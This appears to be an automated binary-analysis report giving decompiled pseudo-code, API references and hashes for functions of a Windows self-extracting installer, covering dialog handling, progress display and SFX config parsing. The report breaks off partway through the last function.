Uniqueness

Uniqueness Score: -1.00%

Function 004185D1, Relevance: 16.5, APIs: 11, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004185D1(void* __ecx) {
				void* _t12;

				_push( *((intOrPtr*)(__ecx + 0x4c)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x3c)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x38)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x34)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x30)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x2c)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x28)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x24)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0x18)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 0xc)));
				L0041C160();
				_push( *((intOrPtr*)(__ecx + 8)));
				L0041C160();
				return _t12;
			}

0x004185d4
0x004185d7
0x004185dc
0x004185df
0x004185e4
0x004185e7
0x004185ec
0x004185ef
0x004185f4
0x004185f7
0x004185fc
0x004185ff
0x00418604
0x00418607
0x0041860c
0x0041860f
0x00418614
0x00418617
0x0041861c
0x0041861f
0x00418624
0x00418627
0x00418630

APIs

??3@YAXPAX@Z.MSVCRT ref: 004185D7
??3@YAXPAX@Z.MSVCRT ref: 004185DF
??3@YAXPAX@Z.MSVCRT ref: 004185E7
??3@YAXPAX@Z.MSVCRT ref: 004185EF
??3@YAXPAX@Z.MSVCRT ref: 004185F7
??3@YAXPAX@Z.MSVCRT ref: 004185FF
??3@YAXPAX@Z.MSVCRT ref: 00418607
??3@YAXPAX@Z.MSVCRT ref: 0041860F
??3@YAXPAX@Z.MSVCRT ref: 00418617
??3@YAXPAX@Z.MSVCRT ref: 0041861F
??3@YAXPAX@Z.MSVCRT ref: 00418627

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 3dccb71c9ef2e60c5503e6c0d19253dcb49cd942d4fb101ec1a1f6589c8e82c3
Instruction ID: 86688c80c3d54f4c5222143b6f6a850776599fc5e0b6a98af45a6b574340ef54
Opcode Fuzzy Hash: 3dccb71c9ef2e60c5503e6c0d19253dcb49cd942d4fb101ec1a1f6589c8e82c3
Instruction Fuzzy Hash: 84F0D9355D1524BECB623B23DD829877AB2BF04B18350552EB04610833DA967CE19E4C

Uniqueness

Uniqueness Score: -1.00%

Function 004094E2, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004094E2(void* __ecx, void* __edx, void* __eflags) {
				long _v8;
				intOrPtr _v12;
				int _v20;
				int _v24;
				intOrPtr _v32;
				char _v40;
				void* _t44;

				_t44 = __ecx;
				E00409190(__ecx, __edx, __eflags);
				E004079B7(_t44, 0x4b7, 0);
				E00407925(_t44, 0x4b7,  &_v40);
				E00407925(_t44, 0x4b7,  &_v24);
				DestroyWindow(GetDlgItem( *(_t44 + 4), 0x4b7));
				CreateWindowExA(0x200, "Edit", 0x41de2a, 0x500100a0, _v24, _v20, _v32 - _v24, _v12 - _v20,  *(_t44 + 4), 0x4b7, 0, 0);
				_v8 = SendMessageW( *(_t44 + 4), 0x31, 0, 0);
				SendMessageW(GetDlgItem( *(_t44 + 4), 0x4b7), 0x30, _v8, 1);
				SetFocus(GetDlgItem( *(_t44 + 4), 0x4b6));
				return 0;
			}

0x004094eb
0x004094ed
0x004094fc
0x00409508
0x00409515
0x00409527
0x0040955d
0x00409577
0x00409584
0x00409591
0x0040959d

APIs

Part of subcall function 00409190: memset.MSVCRT ref: 004091E2
Part of subcall function 00409190: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091F6
Part of subcall function 00409190: SHGetFileInfoW.SHELL32(?,00000000,00000000,000002B4,00000103), ref: 00409216
Part of subcall function 00409190: GetDlgItem.USER32 ref: 00409229
Part of subcall function 00409190: SetWindowLongW.USER32 ref: 00409237

Part of subcall function 004079B7: GetDlgItem.USER32 ref: 004079C4
Part of subcall function 004079B7: ShowWindow.USER32(00000000,?), ref: 004079DB

Part of subcall function 00407925: GetDlgItem.USER32 ref: 0040792D

GetDlgItem.USER32 ref: 00409524
DestroyWindow.USER32(00000000), ref: 00409527
CreateWindowExA.USER32 ref: 0040955D
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0040956D
GetDlgItem.USER32 ref: 0040957A
SendMessageW.USER32(00000000,00000030,?,00000001), ref: 00409584
GetDlgItem.USER32 ref: 0040958E
SetFocus.USER32(00000000), ref: 00409591

Strings

Edit, xrefs: 00409553

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystemmemset
String ID: Edit
API String ID: 1904772019-554135844
Opcode ID: fa5d6b11f3bfb7040f8905d8716a38a91aa73369538ddbddf177dea4798fc51b
Instruction ID: 0e6a47c8423b62f02d93f4ef7a6912530f49f9b8c415eb71875aef5ea39149c2
Opcode Fuzzy Hash: fa5d6b11f3bfb7040f8905d8716a38a91aa73369538ddbddf177dea4798fc51b
Instruction Fuzzy Hash: 17112475E00318BBEB11ABE5CD49FAFBBBDEF89B04F104419B611B6190C675ED008729

Uniqueness

Uniqueness Score: -1.00%

Function 00409777, Relevance: 15.1, APIs: 10, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409777(void* __ecx, void* __edx, void* __eflags) {
				struct HWND__* _v8;
				intOrPtr _v12;
				struct tagPOINT _v20;
				struct tagRECT _v36;
				struct HWND__* _t55;
				void* _t71;

				_t71 = __ecx;
				_v12 = E00408E57(__edx);
				E004079B7(__ecx, 0x4b3, 0);
				E004079B7(__ecx, 0x4b4, 0);
				E00407925(__ecx, 0x4b3,  &_v36);
				_v20.x = _v36.left;
				_v20.y = _v36.top;
				ClientToScreen( *(_t71 + 4),  &_v20);
				GetWindowRect( *(_t71 + 4),  &_v36);
				SetWindowPos( *(_t71 + 4), 0, 0, 0, _v36.right - _v36.left, _v20.y - _v36.top, 6);
				SetWindowLongW( *(_t71 + 4), 0xfffffff0, 0x800000);
				SetWindowLongW( *(_t71 + 4), 0xffffffec, 8);
				GetWindowRect( *(_t71 + 4),  &_v36);
				E00407AA0(_t71, 0x4b2, 0, 0, _v36.right - _v36.left, _v36.bottom - _v36.top, 4);
				_v8 = GetDlgItem( *(_t71 + 4), 0x4b2);
				_t55 = GetDlgItem( *(_t71 + 4), 0x4b2);
				SetWindowLongW(_t55, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) | 0x10000201);
				return _v12;
			}

0x00409780
0x00409792
0x00409795
0x004097a2
0x004097ae
0x004097b6
0x004097bc
0x004097c6
0x004097d9
0x004097f1
0x00409807
0x00409810
0x00409819
0x00409837
0x0040984a
0x0040984d
0x00409869
0x00409872

APIs

Part of subcall function 00408E57: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409247), ref: 00408E81
Part of subcall function 00408E57: LoadIconW.USER32(00000000), ref: 00408E84
Part of subcall function 00408E57: GetSystemMetrics.USER32 ref: 00408E98
Part of subcall function 00408E57: GetSystemMetrics.USER32 ref: 00408E9D
Part of subcall function 00408E57: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409247), ref: 00408EA6
Part of subcall function 00408E57: LoadImageW.USER32 ref: 00408EA9
Part of subcall function 00408E57: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EC9
Part of subcall function 00408E57: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408ED2
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408EEF
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408EF9
Part of subcall function 00408E57: GetWindowLongW.USER32(?,000000F0), ref: 00408F05
Part of subcall function 00408E57: SetWindowLongW.USER32 ref: 00408F14
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F22
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F30
Part of subcall function 00408E57: GetWindowLongW.USER32(000000F0,000000F0), ref: 00408F3C
Part of subcall function 00408E57: SetWindowLongW.USER32 ref: 00408F4B
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F58

Part of subcall function 004079B7: GetDlgItem.USER32 ref: 004079C4
Part of subcall function 004079B7: ShowWindow.USER32(00000000,?), ref: 004079DB

Part of subcall function 00407925: GetDlgItem.USER32 ref: 0040792D

ClientToScreen.USER32(?,?), ref: 004097C6
GetWindowRect.USER32 ref: 004097D9
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000006), ref: 004097F1
SetWindowLongW.USER32 ref: 00409807
SetWindowLongW.USER32 ref: 00409810
GetWindowRect.USER32 ref: 00409819

Part of subcall function 00407AA0: GetDlgItem.USER32 ref: 00407ABE
Part of subcall function 00407AA0: SetWindowPos.USER32(00000000), ref: 00407AC5

GetDlgItem.USER32 ref: 00409840
GetDlgItem.USER32 ref: 0040984D
GetWindowLongW.USER32(?,000000F0), ref: 0040985A
SetWindowLongW.USER32 ref: 00409869

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Item$Long$HandleLoadMessageMetricsModuleRectSendSystem$ClientIconImageScreenShow
String ID:
API String ID: 1121484998-0
Opcode ID: b58d5cfabe8e3f54eea926d8a5a69caf2518092f248e1b15b4c7d120cae08dd2
Instruction ID: eb4d2fabcb322e020ba9bdcc7ca5b571507892158c3f3be7d1bbc3ef01ce0d5d
Opcode Fuzzy Hash: b58d5cfabe8e3f54eea926d8a5a69caf2518092f248e1b15b4c7d120cae08dd2
Instruction Fuzzy Hash: F231E3B1900619BFDF10DBA9CD45EAFBBBDFB48710F104529F525F2291CB74A9008B69

Uniqueness

Uniqueness Score: -1.00%

Function 004099C9, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E004099C9(intOrPtr* __eax, void* __edx, void* __eflags) {
				signed int _v8;
				char _v20;
				char _v32;
				char _v44;
				char _v56;
				signed int _t34;
				intOrPtr _t37;
				void* _t50;
				signed int _t57;
				signed int _t58;
				short* _t61;
				void* _t82;
				void* _t83;
				intOrPtr* _t84;
				void* _t86;

				_t84 = __eax;
				E004148C7(__eax, 0x422844);
				_t34 = E0040990C(0x41f004, _t84);
				_v8 = _t34;
				if(_t34 <= 0) {
					L8:
					return _t34 | 0xffffffff;
				}
				_t61 =  *_t84 + _t34 * 2;
				if( *_t61 != 0x2e) {
					goto L8;
				}
				 *(_t84 + 4) = _t34;
				 *_t61 = 0;
				_t37 =  *0x42276c; // 0x0
				_push(_t84);
				if(_t37 == 1) {
					_t57 = E0040990C(0x41f004);
					if(_t57 < 0) {
						L17:
						return 1;
					}
					_t82 = _t57 + _t57;
					_t44 =  *_t84 + _t82;
					if( *((short*)( *_t84 + _t82)) != 0x2e || _v8 - _t57 != 4) {
						goto L17;
					} else {
						E00414660( &_v56, 2, _t44 + 2);
						E00414803( &_v32, _v56);
						_push(_v56);
						L0041C160();
						if(E00409873( &_v32, 0x41effc) == 0) {
							_push(_v32);
							L0041C160();
							goto L17;
						}
						 *(_t84 + 4) = _t57;
						 *((short*)(_t82 +  *_t84)) = 0;
						_t50 = _t82 +  *_t84 + 2;
						__imp___wtol(_t50);
						_push(_v32);
						L15:
						_t86 = _t50;
						L0041C160();
						_t29 = _t86 + 1; // 0x1
						return _t29;
					}
				}
				_t34 = E0040990C(0x41f004);
				_t58 = _t34;
				if(_t58 <= 0) {
					goto L8;
				}
				_t83 = _t58 + _t58;
				_t34 =  *_t84 + _t83;
				if( *_t34 != 0x2e) {
					goto L8;
				}
				E00414660( &_v44, 2, _t34 + 2);
				E00414803( &_v20, _v44);
				_push(_v44);
				L0041C160();
				_t34 = E00409873( &_v20, 0x41effc);
				if(_t34 == 0) {
					_push(_v20);
					L0041C160();
					goto L8;
				}
				 *(_t84 + 4) = _t58;
				 *((short*)(_t83 +  *_t84)) = 0;
				_t50 = _t83 +  *_t84 + 2;
				__imp___wtol(_t50);
				_push(_v20);
				goto L15;
			}

0x004099d2
0x004099db
0x004099e8
0x004099ed
0x004099f2
0x00409a8e
0x00000000
0x00409a8e
0x004099fa
0x00409a01
0x00000000
0x00000000
0x00409a07
0x00409a0c
0x00409a0f
0x00409a15
0x00409a18
0x00409a9b
0x00409a9f
0x00409b20
0x00000000
0x00409b22
0x00409aa3
0x00409aa6
0x00409aac
0x00000000
0x00409ab8
0x00409ac1
0x00409acc
0x00409ad1
0x00409ad4
0x00409ae9
0x00409b17
0x00409b1a
0x00000000
0x00409b1f
0x00409aed
0x00409af2
0x00409af8
0x00409afd
0x00409b03
0x00409b06
0x00409b06
0x00409b08
0x00409b0f
0x00000000
0x00409b0f
0x00409aac
0x00409a1a
0x00409a1f
0x00409a23
0x00000000
0x00000000
0x00409a27
0x00409a2a
0x00409a30
0x00000000
0x00000000
0x00409a3b
0x00409a46
0x00409a4b
0x00409a4e
0x00409a5c
0x00409a63
0x00409a85
0x00409a88
0x00000000
0x00409a8d
0x00409a67
0x00409a6c
0x00409a72
0x00409a77
0x00409a7d
0x00000000

APIs

Part of subcall function 004148C7: ??2@YAPAXI@Z.MSVCRT ref: 004148EF
Part of subcall function 004148C7: ??3@YAXPAX@Z.MSVCRT ref: 004148F8
Part of subcall function 004148C7: memcpy.MSVCRT ref: 00414912

??3@YAXPAX@Z.MSVCRT ref: 00409A4E
_wtol.MSVCRT(?,?,00000002,-00000002,?,?,00422844,00000000), ref: 00409A77
??3@YAXPAX@Z.MSVCRT ref: 00409A88
??3@YAXPAX@Z.MSVCRT ref: 00409AD4
_wtol.MSVCRT(?,?,00000002,-00000002,?,?,00422844,00000000), ref: 00409AFD
??3@YAXPAX@Z.MSVCRT ref: 00409B08
??3@YAXPAX@Z.MSVCRT ref: 00409B1A

Part of subcall function 00414660: memcpy.MSVCRT ref: 0041468E

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

Strings

.\/, xrefs: 004099E0

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$memcpy$_wtol$??2@
String ID: .\/
API String ID: 211236615-1884134905
Opcode ID: e4dd5e0f757c21e4c2822975ddfe278b441f20d1ef89bd084ebe2692a3c13073
Instruction ID: 2f426bf7fcc050e2f2ccbb6fef500bcc126e9f0fd43eeb082ec496173bf80244
Opcode Fuzzy Hash: e4dd5e0f757c21e4c2822975ddfe278b441f20d1ef89bd084ebe2692a3c13073
Instruction Fuzzy Hash: 2D41A332A00215ABCB25EF65EC419AAB7B5FF44318710443FE452A7292EB78AC41CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 00403F60, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00403F60(intOrPtr __ecx, char* __edx, intOrPtr _a4, intOrPtr _a8) {
				char* _v8;
				intOrPtr _v12;
				char _v24;
				char _v124;
				char* _t41;
				void* _t68;

				_t67 = _a4;
				_v12 = __ecx;
				_v8 = __edx;
				E00414427(_a4, ";!@Install@!UTF-8!");
				_t66 = _a8;
				E00414427(_a8, ";!@InstallEnd@!");
				E0041438B( &_v24,  *((intOrPtr*)(_t67 + 4)) - 1, _t67);
				E00414427(_t67, _v24);
				_push(_v24);
				L0041C160();
				E0041438B( &_v24,  *((intOrPtr*)(_t66 + 4)) - 1, _t66);
				E00414427(_t66, _v24);
				_push(_v24);
				L0041C160();
				if(_v8 != 0) {
					_t41 = _v8;
					if( *_t41 != 0) {
						wsprintfA( &_v124, ":%hs", _t41);
						_t68 = _t68 + 0xc;
						E004144C5(_t67,  &_v124);
						E004144C5(_t66,  &_v124);
					}
				}
				if(_v12 != 0) {
					wsprintfA( &_v124, ":Language:%u", _v12);
					E004144C5(_t67,  &_v124);
					E004144C5(_t66,  &_v124);
				}
				_t49 = "!";
				E004144C5(_t67, "!");
				return E004144C5(_t66, _t49);
			}

0x00403f68
0x00403f6c
0x00403f76
0x00403f79
0x00403f7e
0x00403f88
0x00403f96
0x00403fa0
0x00403fa5
0x00403fa8
0x00403fb7
0x00403fc1
0x00403fc6
0x00403fc9
0x00403fd9
0x00403fdb
0x00403fe1
0x00403fed
0x00403fef
0x00403ff8
0x00404003
0x00404003
0x00403fe1
0x0040400c
0x0040401a
0x00404025
0x00404030
0x00404030
0x00404035
0x0040403d
0x0040404e

APIs

Part of subcall function 00414427: ??2@YAPAXI@Z.MSVCRT ref: 00414449
Part of subcall function 00414427: ??3@YAXPAX@Z.MSVCRT ref: 00414453

Part of subcall function 0041438B: memcpy.MSVCRT ref: 004143AC

??3@YAXPAX@Z.MSVCRT ref: 00403FA8
??3@YAXPAX@Z.MSVCRT ref: 00403FC9
wsprintfA.USER32 ref: 00403FED
wsprintfA.USER32 ref: 0040401A

Strings

:%hs, xrefs: 00403FE7
;!@Install@!UTF-8!, xrefs: 00403F6F
;!@InstallEnd@!, xrefs: 00403F81
:Language:%u, xrefs: 00404014

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$wsprintf$??2@memcpy
String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 1376779256-695273242
Opcode ID: ffccc149b743fa680d0eb0769d88808ab5d885dbcf21d5ceae07064466338ad7
Instruction ID: 55619282d89a0695e4f6350effc0af897ba8d8e27976df9351510ece20a97bca
Opcode Fuzzy Hash: ffccc149b743fa680d0eb0769d88808ab5d885dbcf21d5ceae07064466338ad7
Instruction Fuzzy Hash: 2A218571A00118ABCB05EBA5D882EEEB77DDF84305F24411FF505B3182CB7C5E848BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407790, Relevance: 13.5, APIs: 9, Instructions: 47
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407790(void* __ecx, int _a4) {
				void* _t21;

				_t21 = __ecx;
				SendMessageW(GetDlgItem( *(__ecx + 4), 0x4b3), 0xf4, 0, 1);
				SendMessageW(GetDlgItem( *(_t21 + 4), 0x4b4), 0xf4, 0, 1);
				SendMessageW( *(_t21 + 4), 0x401, _a4, 0);
				SendMessageW(GetDlgItem( *(_t21 + 4), _a4), 0xf4, 1, 1);
				return SetFocus(GetDlgItem( *(_t21 + 4), _a4));
			}

0x0040779a
0x004077b7
0x004077c9
0x004077d9
0x004077ea
0x00407800

APIs

GetDlgItem.USER32 ref: 004077A4
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077B7
GetDlgItem.USER32 ref: 004077C1
SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077C9
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 004077D9
GetDlgItem.USER32 ref: 004077E2
SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 004077EA
GetDlgItem.USER32 ref: 004077F3
SetFocus.USER32(00000000,?,?,00000000,00408432,000004B3,00000000,?,000004B3), ref: 004077F6

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemMessageSend$Focus
String ID:
API String ID: 3946207451-0
Opcode ID: f19a9a918d10da5fb3fb5757492b0ffe053d75d493c3690a8f8b9be1a476dd90
Instruction ID: bb603a94b1fb933569e9f7d8bab768da8117728db550847b64ef16fbddfb16f4
Opcode Fuzzy Hash: f19a9a918d10da5fb3fb5757492b0ffe053d75d493c3690a8f8b9be1a476dd90
Instruction Fuzzy Hash: 40F04F716403087BEA212B61DD86F5BBB5EEF85B44F018425F750650F0CBB7EC109A28

Uniqueness

Uniqueness Score: -1.00%

Function 0040885E, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 111
windowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040885E(void* __ecx, void* __edx, void* __eflags, signed int _a4) {
				char _v16;
				short _v40;
				void* _t47;
				signed char _t58;
				intOrPtr* _t59;
				intOrPtr* _t61;
				void* _t88;
				intOrPtr* _t90;
				void* _t91;

				_t88 = __edx;
				_t91 = __ecx;
				E004147DF(_t47,  &_v16);
				_t90 = _a4;
				if(( *(__ecx + 0x60) |  *(__ecx + 0x64)) == 0) {
					_t9 =  &_a4;
					 *_t9 = _a4 & 0x00000000;
					__eflags =  *_t9;
				} else {
					_a4 = E0041C200(E0041C2B0( *_t90,  *((intOrPtr*)(_t90 + 4)), 0x7530, 0), _t88,  *((intOrPtr*)(_t91 + 0x60)),  *((intOrPtr*)(_t91 + 0x64)));
				}
				if(_a4 > 0x7530) {
					_a4 = 0x7530;
				}
				SendMessageW(GetDlgItem( *(_t91 + 4), 0x4b8), 0x402, _a4, 0);
				asm("cdq");
				wsprintfW( &_v40, L"%d%%", (_a4 + 0x12b) / 0x12c);
				if(( *0x42245c & 0x00000004) != 0) {
					E0040790B(GetDlgItem( *(_t91 + 4), 0x4b5),  &_v40);
				}
				_t58 =  *0x42245c; // 0x0
				if((_t58 & 0x00000002) == 0) {
					_t99 = _t58 & 0x00000001;
					if((_t58 & 0x00000001) == 0) {
						E00414864( &_v16,  &_v40);
						E00401585( &_v16, 0x20);
						_push( *0x42273c);
					} else {
						E00414864( &_v16,  *0x42273c);
						E00401585( &_v16, 0x20);
						_push( &_v40);
					}
					E00414922( &_v16);
					_t58 = E00407F52(_t91, _t99, _v16);
				}
				if( *((intOrPtr*)(_t91 + 0x70)) != 0) {
					_t59 =  *((intOrPtr*)(_t91 + 0x70));
					 *((intOrPtr*)( *_t59 + 0x28))(_t59,  *(_t91 + 4), 2);
					_t61 =  *((intOrPtr*)(_t91 + 0x70));
					_t58 =  *((intOrPtr*)( *_t61 + 0x24))(_t61,  *(_t91 + 4),  *_t90,  *((intOrPtr*)(_t90 + 4)),  *((intOrPtr*)(_t91 + 0x60)),  *((intOrPtr*)(_t91 + 0x64)));
				}
				_push(_v16);
				L0041C160();
				return _t58;
			}

0x0040885e
0x00408866
0x0040886c
0x00408877
0x0040887f
0x004088a0
0x004088a0
0x004088a0
0x00408881
0x0040889b
0x0040889b
0x004088a7
0x004088a9
0x004088a9
0x004088c7
0x004088d5
0x004088e7
0x004088f7
0x0040890a
0x0040890a
0x0040890f
0x00408916
0x0040891b
0x0040891d
0x0040893e
0x00408948
0x0040894d
0x0040891f
0x00408925
0x0040892f
0x00408937
0x00408937
0x00408956
0x00408960
0x00408960
0x00408969
0x0040896b
0x00408976
0x0040897c
0x0040898d
0x0040898d
0x00408990
0x00408993
0x0040899d

APIs

Part of subcall function 004147DF: ??2@YAPAXI@Z.MSVCRT ref: 004147E7

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00408896

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

GetDlgItem.USER32 ref: 004088BA
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 004088C7
wsprintfW.USER32 ref: 004088E7
GetDlgItem.USER32 ref: 00408905
??3@YAXPAX@Z.MSVCRT ref: 00408993

Strings

%d%%, xrefs: 004088E1

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@??3@Item$MessageSendUnothrow_t@std@@@__ehfuncinfo$??2@memcpywsprintf
String ID: %d%%
API String ID: 3036602612-1518462796
Opcode ID: 2f025100284f857c739fb0d10ddfcf10120c0a6e4a94bd107c0a039dcf2897a2
Instruction ID: 432b5be96da59719ee59c1cdf104f12e765a410818bb6324a0b4774a71f17581
Opcode Fuzzy Hash: 2f025100284f857c739fb0d10ddfcf10120c0a6e4a94bd107c0a039dcf2897a2
Instruction Fuzzy Hash: 7C41C3B1900708BFDB11ABA0CD45EDAB7B5FF48704F10842EF682662E1DB79E951CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00409D15, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00409D15(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr* _t44;
				void* _t46;
				intOrPtr* _t48;
				void* _t49;
				void* _t52;
				WCHAR* _t71;
				intOrPtr _t74;
				void* _t77;
				void* _t79;
				void* _t80;
				void* _t82;

				_t82 = __eflags;
				_t77 = _t79 - 0x78;
				_t80 = _t79 - 0x88;
				_t52 = __ecx;
				 *((intOrPtr*)(_t77 + 0x3c)) = 0;
				 *((intOrPtr*)(_t77 + 0x44)) = 0;
				 *((intOrPtr*)(_t77 + 0x48)) = 0;
				 *((intOrPtr*)(_t77 + 0x4c)) = 0;
				 *((intOrPtr*)(_t77 + 0x50)) = 0;
				 *((intOrPtr*)(_t77 + 0x54)) = 0;
				 *((intOrPtr*)(_t77 + 0x58)) = 0;
				E004147DF(0, _t77 + 0x5c);
				_t74 = E004099C9(_t77 + 0x5c, __edx, _t82);
				if(_t74 != 0xffffffff) {
					 *((intOrPtr*)(_t77 + 0x74)) = _t74;
					E004147DF(_t36, _t77 + 0x68);
					_push(_t74);
					_t71 = L".%03u";
					while(1) {
						wsprintfW(_t77 - 0x10, _t71);
						_t80 = _t80 + 0xc;
						_t69 = _t77 + 0x5c;
						E00414864(_t77 + 0x68,  *((intOrPtr*)(E00414787(_t77 + 0x30, _t77 + 0x5c, _t77 - 0x10))));
						_push( *((intOrPtr*)(_t77 + 0x30)));
						L0041C160();
						_t44 = E00409931(_t77 + 0x3c,  *((intOrPtr*)(_t77 + 0x68)), _t77 + 0x3c);
						__eflags = _t44;
						if(_t44 != 0) {
							break;
						}
						_t46 = E00409CEB(_t77 + 0x3c, _t52 + 0x1c, _t69, _t77 + 0x3c);
						_push( *((intOrPtr*)(_t77 + 0x68)));
						L0041C160();
						_t17 = _t77 + 0x74;
						 *_t17 =  *((intOrPtr*)(_t77 + 0x74)) + 1;
						__eflags =  *_t17;
						E004147DF(_t46, _t77 + 0x68);
						_push( *((intOrPtr*)(_t77 + 0x74)));
					}
					_push( *((intOrPtr*)(_t77 + 0x68)));
					L0041C160();
					_push( *((intOrPtr*)(_t77 + 0x5c)));
					L0041C160();
					_t48 =  *((intOrPtr*)(_t77 + 0x3c));
					__eflags = _t48;
					if(_t48 != 0) {
						 *((intOrPtr*)( *_t48 + 8))(_t48);
					}
					_t49 = 1;
				} else {
					_push( *((intOrPtr*)(_t77 + 0x5c)));
					L0041C160();
					_t49 = 0;
				}
				return _t49;
			}

0x00409d15
0x00409d16
0x00409d1a
0x00409d23
0x00409d29
0x00409d2c
0x00409d2f
0x00409d32
0x00409d35
0x00409d38
0x00409d3b
0x00409d3e
0x00409d4b
0x00409d50
0x00409d66
0x00409d69
0x00409d6e
0x00409d75
0x00409d9f
0x00409da4
0x00409da6
0x00409dad
0x00409dbd
0x00409dc2
0x00409dc5
0x00409dd4
0x00409dd9
0x00409ddb
0x00000000
0x00000000
0x00409d83
0x00409d88
